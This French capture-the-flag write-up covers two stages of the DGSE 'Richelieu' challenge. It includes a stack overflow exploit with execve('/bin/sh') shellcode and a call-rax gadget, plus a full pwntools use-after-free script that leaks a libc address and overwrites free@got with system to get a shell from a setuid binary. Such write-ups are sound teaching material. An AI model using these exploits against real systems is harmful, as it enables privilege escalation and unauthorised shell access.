La récupération de notre entrée login se fait avec la fonction fgets(). Cette fonction prend trois arguments. Le second argument int size est stocké dans le registre RSI. L'instruction mov esi, 0x3e8 nous indique que le nombre maximal d'octets à lire pour l'entrée (argument 1 dans le registre RDI) est de 0x3e8. La fonction fgets() est l'équivalent sécurisé de la fonction gets() et permet de vérifier la taille du buffer. Ce nombre maximal d'octets à lire est également inférieur à la taille du buffer alloué pour le login dans le main.

Ghidra decompiled main

Etant donné que le buffer login est de 1024 octets et que 1024 est supérieur à 1000 (0x3e8), il n'y a donc pas de buffer overflow sur cette entrée.

Pass : scanf()

La récupération de notre entrée pass se fait avec la fonction scanf(). Cette fois-ci, pas de vérification de la taille du buffer. Un buffer overflow est possible.

ROP scanf

D'après les instructions précédant le scanf(), la taille de la fenêtre prévue pour l'entrée pass est de 0x30. Notre objectif est de remplir le buffer et d'écrire sur la sauvegarde de RIP, le pointeur d'instructions. Cette sauvegarde contient l'adresse de l'instruction suivant l'appel à fonction afin de poursuivre l'exécution du programme à l'issue de la fonction en cours.

D'après ce très bon article sur le fonctionnement de la pile, on sait aussi qu'entre notre fenêtre de 0x30 octets et notre sauvegarde de RIP, on a une sauvegarde de RBP. Cette sauvegarde contient l'adresse du début de fenêtre de pile avant l'appel à fonction. Cela permet d'accéder aux variables et paramètres de fonctions avec un décalage constant par rapport à RBP.

Pile_schema

En résumé, ces deux sauvegardes permettent de reprendre le fil d'exécution du programme.

Afin de réécrire sur la sauvegarde de RIP pour rediriger le fil d'exécution, nous allons donc devoir remplir l'espace mémoire prévue pour pass ainsi que la sauvegarde de RBP. L'architecture 64 bits de notre programme indique que les registres ont une taille de 8 octets. On va donc devoir écrire 56 octets (0x30 = 48 en décimal) suivi de l'adresse vers laquelle on souhaite rediriger l'exécution.

Gadgets

ROPgadget

L'outil ROPgadget nous permet de lister les gadgets présents dans le binaire. Les gadgets sont des bouts de code permettant, mis bout à bout, de mener des actions non-prévues initialement (exemple : générer un shellcode à la volée).

$ ROPgadget --binary prog.bin
[...]
0x00000000004009fa : call qword ptr [rsp + rbx*8]
0x0000000000400538 : call rax
0x0000000000400869 : cmp byte ptr [rbx + 0x5d], bl ; ret
0x0000000000400831 : dec dword ptr [rbx + 0x458be855] ; in al, 1 ; ret 0x458b
[...]

On remarque l'instruction call rax.

Contexte

Graph radare2 strcasestr

La fin de la fonction sub.login_40086d fait appel à une fonction sub.strcasestr_4006a6. Si le résultat est false, l'adresse du login entré est stocké dans le registre RAX et retourné par la fonction sub.login_40086d.

Plan d'attaque

Théorie

Le buffer overflow lors de l'entrée pass va nous permettre de réécrire sur la sauvegarde de RIP pour rediriger le fil d'exécution vers le gadget call rax.

Nous allons alors faire en sorte de passer un shellcode dans l'entrée login, de respecter les conditions permettant à l'adresse de l'entrée d'être passée dans RAX, et ainsi d'exécuter notre shellcode.

Obstacle

ROP Obstacle

Dans le cas où la longueur du login entré est supérieure à 10 caractères, le 11ème caractère de la chaîne est mis à \x00.

On va devoir prévoir un padding dans le shellcode pour contourner cet obstacle.

Payload

Nous allons utiliser le shellcode suivant.

\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

Pour contourner l'écriture de \x00 au 11ème caractère du login, on va écrire des instructions NOP précédées d'une instructions JMP pour passer les 11 premiers caractères.

Ces NOP seront suivi du shellcode, puis d'un \n pour passer de l'entrée login à l'entrée pass.

Pour l'entrée pass, nous allons devoir respecter les conditions données par le programme.

[-] le mot de passe est compris dans le login (ou l inverse)
[-] mot de passe trop petit (moins de 8 caractères)
[-] il n y a pas de nombre
[-] il n y a pas de majuscule
[-] il n y a pas de caractère spécial

Si ces conditions ne sont pas respectées, le registre RAX ne contiendra pas l'adresse de l'entrée login mais NULL.

ROP Obstacle suite

On peut alors obtenir le script Python suivant.

# LOGIN
# JMP $+15 : https://defuse.ca/online-x86-assembler.htm
payload = "\xEB\x0D"
# NOPsled
payload += "\x90" * 20
# shellcode execve("/bin/sh") : http://shell-storm.org/shellcode/files/shellcode-806.php
payload += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
# login --> pass
payload += "\n"

# PASS
# Password conditions
payload += "b$0"
# Buffer Overflow
payload += "A" * 53
# Address of gadget 'call rax'
payload += "\x38\x05\x40"

print(payload)

Exécution

Sur la machine cible, un premier test est non-concluant.

$ python solve.py | ./prog.bin
[Rien]

On ne récupère pas de shell en tant que defi2-drapeau.

$ python solve.py | strace -f ./prog.bin
[...]
execve("/bin/sh", ["/bin/sh"], NULL)    = 0
[...]
read(0, "", 8192)                       = 0
exit_group(0)                           = ?
+++ exited with 0 +++

On a bien l'exécution du shell en tant que defi2-drapeau, mais ne recevant rien par la suite, il est fermé. Nous devons donc maintenir le descripteur de fichier entrant (stdin) ouvert.

$ (python solve.py; cat -) | ./prog.bin
[...]

$ id
uid=1000(defi2) gid=1000(defi2) euid=1001(defi2-drapeau) egid=1001(defi2-drapeau) groups=1001(defi2-drapeau)

$ cat drapeau.txt
Suite du challenge Richelieu :

ssh defi3.challengecybersec.fr -l defi3 -p 2222

mot de passe : DGSE{?uo20tPO4(o=A=dX3njr2y{emZQodR}

Le mot de passe pour la suite est DGSE{?uo20tPO4(o=A=dX3njr2y{emZQodR}

Privesc pwn : Use After Free (defi3)

En se connectant en ssh, on arrive sur le répertoire home de l'utilisateur defi3.

$ id
uid=1000(defi3) gid=1000(defi3) groups=1000(defi3)

$ pwd
/home/defi3

$ ls -alh
total 44K
drwxr-xr-x 1 defi3         defi3         4.0K May 10 11:09 .
drwxr-xr-x 1 root          root          4.0K May 10 11:09 ..
-rw-r--r-- 1 defi3         defi3          220 May 15  2017 .bash_logout
-rw-r--r-- 1 defi3         defi3         3.5K May 15  2017 .bashrc
-rw-r--r-- 1 defi3         defi3           32 May 10 11:09 .gdbinit
-rw-r--r-- 1 defi3         defi3          675 May 15  2017 .profile
-rw-r--r-- 1 defi3         defi3            7 May 10 11:09 .vimrc
-r-------- 1 defi3-drapeau defi3-drapeau  564 Apr 29 15:43 drapeau.txt
-r-sr-sr-x 1 defi3-drapeau defi3-drapeau  11K May 10 11:09 prog.bin

Rebelote, prog.bin est SETUID.

Utilisation normale

Le programme permet de gérer des éléments par des opérations classiques de création, édition, affichage et suppression.

$ ./prog.bin
***************************************************
***    Bienvenue dans la gestion d éléments     ***
***                                             ***
***   NB : Taille de l ID : 50 octets           ***
***        Vous pouvez mettre la taille         ***
***        en paramètre pour la changer         ***
***************************************************
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie

Exploitation

État de l'art

Le fonctionnement du programme semble indique l'utilisation du tas (heap) par des opérations de malloc(), calloc(), free() etc.

Le programme est compilé pour une architecture 64 bits et l'ASLR est activée sur le système.

Il y a également la protection NX (no-execute) d'activée indiquant qu'aucun segment de mémoire n'a à la fois des droits d'écriture et d'exécution.

$ ssh defi3.challengecybersec.fr -l defi3 -p 2222
[...]

$ file prog.bin
prog.bin: setuid, setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d1735723c3f394529a3679c7cb2e651800a3b8b9, stripped

$ checksec prog.bin
[*] '/home/defi3/prog.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

$ cat /proc/sys/kernel/randomize_va_space
2

Dans ce genre de situations (manipulation du tas), un des éléments à regarder en priorité est la façon dont les données sont supprimées. Il se peut que le programme soit vulnérable à un "Use After Free".

Stack-based Buffer Overflow

Pour defi2 il s'agissait d'exploiter un buffer overflow pour manipuler la pile (stack). Ici, d'après des tests d'utilisations, le programme ne semble pas vulnérable à du stack-based buffer overflow dans les entrées utilisateur.

Heap-based Buffer Overflow

Comme l'explique si bien Pixis, le tas est une zone mémoire utilisée de façon dynamique. La pile fonctionne par empilement et dépilement et le tas fonctionne avec des pointeurs, des adresses et des espaces mémoires accessibles tout le temps.

La heap apporte de la flexibilité mais est plus coûteuse en temps et en ressources. Il faut manipuler cette zone avec précaution.

Fonction malloc()

Cette fonction permet d'allouer un bloc mémoire. La fonction prend en argument la taille du bloc souhaité et renvoie l'adresse du bloc (pointeur vers le début du bloc).

Schema malloc

Fonction free()

Cette fonction permet de libérer un espace mémoire. La fonction prend en argument le pointeur qui contient l'adresse du bloc.

Schema free Cette fonction ne permet par contre pas de réinitialiser le pointeur en lui-même. Sans une opération pointeur = NULL;, le pointeur contiendra toujours la même adresse d'un bloc de mémoire alors libéré.

Use After Free

Si une nouvelle allocation de mémoire est demandée et que le nouveau bloc libre convient (taille demandée/taille du bloc), le pointeur pointera toujours vers ce bloc mais les données n'auront peut-être rien à voir.

Schema Use After Free

La technique Use after free revient à exploiter cette mauvaise pratique de ne pas réinitialiser un pointeur après la libération de l'espace mémoire qu'il pointe par free().

Lors de l'utilisation du programme, on peut identifier le bug.

$ ./prog.bin
***************************************************
***    Bienvenue dans la gestion d éléments     ***
***                                             ***
***   NB : Taille de l ID : 50 octets           ***
***        Vous pouvez mettre la taille         ***
***        en paramètre pour la changer         ***
***************************************************
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 1
élément 0            entrez nom $ shutdown
élément 0 (50 octets max)    entrez id $ shutdown
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 2
~~~~~~~~~~~~~
~~ élément ~~
~~~~~~~~~~~~~
  élément[0]    -> nom : shutdown
  élément[0]    -> id : shutdown
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 3
lequel $ 0
quoi (id : 1   nom : 2) $ 1
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 1
élément 1            entrez nom $ Oik=
élément 1 (50 octets max)    entrez id $ Oik=
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 2
~~~~~~~~~~~~~
~~ élément ~~
~~~~~~~~~~~~~
  élément[0]    -> nom : shutdown
  élément[0]    -> id : Oik=

  élément[1]    -> nom : Oik=
  élément[1]    -> id : Oik=

Nous pouvons noter que élément[0] -> id passe de shutdown à Oik=, ce qui nous conforte dans l'idée d'un UAF (Use After Free) et nous permet de supposer que nous sommes capables de modifier des pointeurs dans le tas.

Plan d'attaque

Étant donnée la présence de l'ASLR sur le système ciblé, les adresses des bibliothèques/fonctions sont aléatoires.

En réalité, le programme charge les bibliothèques requises à une certaine adresse + un décalage aléatoire.

L'objectif est de trouver ce décalage pour calculer ensuite l'adresse, à l'exécution, de la fonction qui nous intéresse, à savoir system.

PLT & GOT

Lors de l'exécution du programme, à chaque passage du pointeur d'instruction RIP sur un call à une fonction référencée dans la PLT (Procedure Linkage Table), si la fonction en question n'est pas référencée dans la GOT (Global Offsets Table), un mécanisme interne à la PLT permet d'insérer la référence de la fonction dans la GOT.

La GOT contient alors la vraie adresse de la fonction.

Pour une bibliothèque donnée, si nous connaissons l'adresse d'une fonction dans cette bibliothèque ainsi que l'adresse réelle de la fonction dans la GOT, nous pouvons connaître le décalage aléatoire créé avec l'ASLR.

Si nous connaissons le décalage, nous pouvons alors calculer la réelle adresse de la fonction de notre choix.

Théorie

  1. Faire fuiter l'adresse réelle d'une fonction
  2. Trouver l'adresse de base de la bibliothèque libc
  3. Calculer l'adresse de system
  4. Exécuter system avec l'argument /bin/sh
  5. Récupérer le flag

Dans notre cas, les fonctions contenues dans la PLT sont free, strcpy, puts, strlen, printf, fgets, atoll, malloc et atoi.

On a les adresses suivantes pour free@got et puts@got.

$ objdump -R prog.bin
[...]
0000000000602018 R_X86_64_JUMP_SLOT  free@GLIBC_2.2.5
0000000000602028 R_X86_64_JUMP_SLOT  puts@GLIBC_2.2.5
[...]

Nous allons utiliser la fonction puts, fonction d'affichage, pour lui faire afficher sa propre adresse réelle. Pour faire cela, nous passerons l'adresse de puts@got (référence de puts dans le segment .got.plt) en argument de puts@plt pour récupérer l'adresse réelle de la fonction et donc le décalage créé par l'ASLR.

Soit a l'offset de puts dans la libc. Soit b l'adresse réelle de puts à l'exécution. L'adresse à laquelle la bibliothèque est chargé à l'exécution est b-a.

Soit c l'offset de system dans la libc. L'adresse réelle de system à l'exécution sera b-a+c.

Une fois l'adresse de system connue, nous devrions être en mesure d'exécuter du code.

Pratique

Dans une premier temps, nous allons créer un élément et analyser la structure du tas.

$ gdb prog.bin
pwndbg> info file
//On cherche le point d entrée du programme
[...]
    Entry point: 0x400680
[...]

pwndbg> x/20i 0x400680
//On cherche ensuite l appel à main
[...]
   0x40069d:    mov    rdi,0x400ae8
   0x4006a4:    call   QWORD PTR [rip+0x201946]
[...]

pwndbg> b * 0x00400e47
//On place un point d arrêt avant l appel à la fonction demandant le choix de l option

pwndbg> run
pwndbg> continue
Continuing.
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 1
élément 0            entrez nom $ AAA
élément 0 (50 octets max)    entrez id $ BBB

Breakpoint 1, 0x0000000000400e47 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7e81490 (__strcpy_sse2_unaligned+912) ◂— mov    edx, dword ptr [rsi]
 RDX  0x1
 RDI  0x603bc0 ◂— 0x424242 /* 'BBB' */
 RSI  0x7fffffffd390 ◂— 0x424242 /* 'BBB' */
 R8   0x3
 R9   0x7ffff7fa6500 ◂— 0x7ffff7fa6500
[...]

Le registre RDI semble contenir l'adresse à laquelle la chaîne "BBB" a été écrite. Nous pouvons utiliser cette adresse pour voir le contenu du tas.

pwndbg> x/16gx 0x603bc0-80
0x603b70:    0x0000000000000000    0x0000000000000021
0x603b80:    0x0000000000603ba0    0x0000000000603bc0
0x603b90:    0x0000000000000000    0x0000000000000021
0x603ba0:    0x0000000000414141    0x0000000000000000
0x603bb0:    0x0000000000000000    0x0000000000000041
0x603bc0:    0x0000000000424242    0x0000000000000000
0x603bd0:    0x0000000000000000    0x0000000000000000
0x603be0:    0x0000000000000000    0x0000000000000000

On a la structure suivante.

Structure heap 1

Procédons aux opérations suivantes :

  • suppression de l'id de l'élément 0 ;
  • création d'un élément 1 ;
  • analyse du tas.
pwndbg> continue
Continuing.
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 3
lequel $ 0
quoi (id : 1   nom : 2) $ 1

Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]

pwndbg> continue
Continuing.
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 1
élément 1            entrez nom $ CCC
élément 1 (50 octets max)    entrez id $ DDD

Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]

pwndbg> x/24gx 0x603bc0-80
0x603b70:    0x0000000000000000    0x0000000000000021
0x603b80:    0x0000000000603ba0    0x0000000000603bc0
0x603b90:    0x0000000000000000    0x0000000000000021
0x603ba0:    0x0000000000414141    0x0000000000000000
0x603bb0:    0x0000000000000000    0x0000000000000041
0x603bc0:    0x0000000000444444    0x0000000000000000
0x603bd0:    0x0000000000000000    0x0000000000000000
0x603be0:    0x0000000000000000    0x0000000000000000
0x603bf0:    0x0000000000000000    0x0000000000000021
0x603c00:    0x0000000000603c20    0x0000000000603bc0
0x603c10:    0x0000000000000000    0x0000000000000021
0x603c20:    0x0000000000434343    0x0000000000000000

On a alors la structure suivante :

Structure heap 2

Le deuxième champ de l'élément 0 occupe une taille de 64 octets (entête taille chunk) et la structure contenant les pointeurs vers les champs de l'élément 0 fait 32 octets. Lors de l'allocation en mémoire de cette structure, le chunk de 64 octets est trop grand, c'est donc le chunk suivant qui est alloué.

Pour exploiter le Use After Free, nous allons faire en sorte de définir une taille d'id < 32 octets.

Le programme prend en argument cette taille. Réitérons les opérations avec une taille d'id de 3 (minimum possible). Pour des raisons d'alignement mémoire, un malloc alloue au minimum 16 octets de données.

pwndbg> run 3
pwndbg> continue
Continuing.
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 1
élément 0            entrez nom $ AAA
élément 0 ( 3 octets max)    entrez id $ BBB

Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]

pwndbg> continue
Continuing.
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 3
lequel $ 0
quoi (id : 1   nom : 2) $ 1

Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]

pwndbg> continue
Continuing.
Que voulez-vous faire ?
  -> 1) nouvel élément
  -> 2) affichage
  -> 3) détruire un élément
  -> 4) changer de nom
  -> 5) changer d id
  -> 6) sortie
choix $ 1
élément 1            entrez nom $ CCC
élément 1 ( 3 octets max)    entrez id $ DDD

Breakpoint 1, 0x0000000000400e47 in ?? ()
[...]

pwndbg> x/20gx 0x603b70
0x603b70:    0x0000000000000000    0x0000000000000021
0x603b80:    0x0000000000603ba0    0x0000000000603bc0
0x603b90:    0x0000000000000000    0x0000000000000021
0x603ba0:    0x0000000000414141    0x0000000000000000
0x603bb0:    0x0000000000000000    0x0000000000000021
0x603bc0:    0x0000000000603be0    0x0000000000603c00
0x603bd0:    0x0000000000000000    0x0000000000000021
0x603be0:    0x0000000000434343    0x0000000000000000
0x603bf0:    0x0000000000000000    0x0000000000000021
0x603c00:    0x0000000000444444    0x0000000000000000

La structure est la suivante :

Structure heap 3

On peut donc maintenant réitérer l'opération plusieurs fois, écrire l'adresse de puts@got en modifiant un des pointeurs et l'adresse de free@got de la même façon. On pourra ainsi remplacer free@got par puts@plt avec l'option de changement de nom/id.

Structure heap 4

On pourra alors afficher l'adresse réelle de puts, calculer l'adresse de system, remplacer free@got par system@libc et exécuter du code.

On va profiter du fait que l'on puisse entrer des chaînes de caractères dans le programme (stockées dans le tas) pour passer l'argument "/bin/sh" à la fonction system.

Payload

Pour exploiter ce programme, nous allons utiliser la bibliothèque pwntools en Python.

Nous allons créer une fonction pour chaque option du programme.

Note : lors de nos tests, nous nous sommes rendus compte que la réécriture de free@got avec puts@plt laissait des résidus de l'adresse de free@got. Nous avons donc du prévoir l'écriture de null-bytes à l'adresse de (free@got + offset)

UAF Obstacle

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

def nouvel_element(nom, id):
    p.sendline('1')
    p.sendline(nom)
    p.sendline(id)

def affichage():
    p.sendline('2')
    return p.recv(8192)

def detruire_element(index, type):
    p.sendline('3')
    p.sendline(index)
    p.sendline(type)

def changer_nom(index, nom):
    p.sendline('4')
    p.sendline(index)
    p.sendline(nom)

def changer_id(index, id):
    p.sendline('5')
    p.sendline(index)
    p.sendline(id)

l = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process(['./prog.bin', '3'])

nouvel_element('AAA', 'BBB')
detruire_element('0', '1')
nouvel_element('CCC', 'DDD')

# Réécrire (pointeur element[0] -> name) avec adresse de puts@got
changer_id('0', "\x28\x20\x60")

nouvel_element('EEE', 'FFF')
detruire_element('2', '1')
nouvel_element('GGG', 'HHH')

# Réécrire (pointeur element[2] -> name) avec adresse de free@got
changer_id('2', "\x18\x20\x60")

nouvel_element('III', 'JJJ')
detruire_element('4', '1')
nouvel_element('KKK', 'LLL')

# Réécrire (pointeur element[4] -> name) avec adresse de (free@got + offset)
changer_id('4', "\x1c\x20\x60")

nouvel_element('MMM', 'NNN')
detruire_element('6', '1')
nouvel_element('OOO', 'PPP')

# Réécrire (pointeur element[6] -> name) avec adresse de (free@got + offset)
changer_id('6', "\x1d\x20\x60")

# Préparer l'argument de 'system()'
nouvel_element('/bin/sh', 'QQQ')

# Réécrire valeur free@got par puts@plt
changer_nom('3', "\x10\x06\x40")
# Réécrire (free@got + offset) par null byte
changer_nom('5', "\x00")
# Réécrire (free@got + offset) par null byte
changer_nom('7', "\x00")

# Dérouler le buffer
p.recv(timeout=10)

# Récupération de l'adresse réelle de puts
detruire_element('1', '2')
puts_leaked = p.recv(8192).split("quoi (id : 1   nom : 2) $ ")[1].split("\n")[0]
puts_leaked += "\x00" * (8 - len(puts_leaked))
log.info("Leak of puts : " + hex(u64(puts_leaked)))

# Calcul de l'adresse réelle de la libc
libc = u64(puts_leaked) - l.symbols['puts']
log.info("Address of libc : " + hex(libc))

# Calcul de l'adresse de system dans la libc soumise à l'ASLR de notre processus
sys_addr = libc + l.symbols['system']
log.info("Address of sys : " + hex(sys_addr))
sys = p64(sys_addr).strip("\x00")

# Réécrire valeur free@got par system
changer_nom('3', sys)
detruire_element('8', '2')

p.recv(8192)
p.interactive()
p.close()

On peut finalement récupérer le drapeau.txt !

defi3@AttrapeLeDrapeau:~$ ./exploit.py
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './prog.bin': pid 38
[*] Leak of puts : 0x7f77c8be8f90
[*] Address of libc : 0x7f77c8b80000
[*] Address of sys : 0x7f77c8bbf480
[*] Switching to interactive mode

$ cat drapeau.txt
Félicitations à vous, vous avez réussi l intégralité du challenge Richelieu organisé par la DGSE !
Vous avez la perspicacité et le profil pour relever les défis technologiques au sein de nos équipes.

Dès maintenant, vous pouvez envoyer le tag ****************** accompagné, si vous le souhaitez, d un CV et d une lettre de motivation à l adresse suivante : ********************.

Pour vous renseigner sur les métiers que nous recherchons : https://www.defense.gouv.fr/dgse/tout-le-site/nos-besoins-en-recrutement.

comments powered by Disqus

Receive Updates

ATOM

Contacts